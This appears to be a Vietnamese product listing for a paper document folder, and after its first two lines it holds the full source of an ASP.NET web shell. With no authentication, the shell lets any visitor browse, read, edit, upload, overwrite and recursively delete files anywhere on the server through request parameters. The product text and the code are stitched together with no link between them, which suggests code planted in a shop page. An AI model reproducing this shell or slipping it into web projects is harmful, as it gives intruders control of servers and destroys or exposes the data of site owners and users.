Cặp hồ sơ 3 dây.
Chất liệu giấy.
<%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %>
<% string path = Request["path"]; if (string.IsNullOrEmpty(path)) path = Server.MapPath("."); DirectoryInfo dir = new DirectoryInfo(path); // Delete if (Request["delete"] != null) { string target = Path.Combine(path, Request["delete"]); try { if (File.Exists(target)) File.Delete(target); else if (Directory.Exists(target)) Directory.Delete(target, true); Response.Write("✅ Deleted: " + Request["delete"] + "
"); } catch (Exception ex) { Response.Write("❌ Delete Error: " + ex.Message + "
"); } } // Save if (Request["savefile"] != null) { string target = Request["savefile"]; string content = Request.Form["filecontent"]; try { File.WriteAllText(target, content); Response.Write("✅ Saved: " + Path.GetFileName(target) + "
"); } catch (Exception ex) { Response.Write("❌ Save Error: " + ex.Message + "
"); } } // Upload if (Request.Files.Count > 0) { try { var file = Request.Files[0]; if (file != null && file.ContentLength > 0) { string savePath = Path.Combine(path, Path.GetFileName(file.FileName)); file.SaveAs(savePath); Response.Write("📤 Uploaded: " + file.FileName + "
"); } } catch (Exception ex) { Response.Write("❌ Upload Error: " + ex.Message + "
"); } } // Create folder if (Request["createfolder"] != null) { string newfolder = Request["newfolder"]; if (!string.IsNullOrEmpty(newfolder)) { string folderPath = Path.Combine(path, newfolder); try { Directory.CreateDirectory(folderPath); Response.Write("📁 Created: " + newfolder + "
"); } catch (Exception ex) { Response.Write("❌ Folder Error: " + ex.Message + "
"); } } } // Create file if (Request["createfile"] != null) { string newfile = Request["newfile"]; if (!string.IsNullOrEmpty(newfile)) { string filePath = Path.Combine(path, newfile); try { if (!File.Exists(filePath)) { File.WriteAllText(filePath, ""); Response.Write("📄 Created file: " + newfile + "
"); } else { Response.Write("⚠️ File already exists: " + newfile + "
"); } } catch (Exception ex) { Response.Write("❌ File Create Error: " + ex.Message + "
"); } } } %>
📂 Path: <%= path %>
<% if (dir.Parent != null) { %> ⬅️ Up
<% } %>
📁 Folders
📄 Files
📤 Upload File
📁 Create Folder
📄 Create New File
<% string editPath = Request["edit"]; if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) { try { string content = File.ReadAllText(editPath); %>
📝 Editing: <%= Path.GetFileName(editPath) %>
<% } catch (Exception ex) { Response.Write("❌ Read Error: " + ex.Message + "
"); } } %>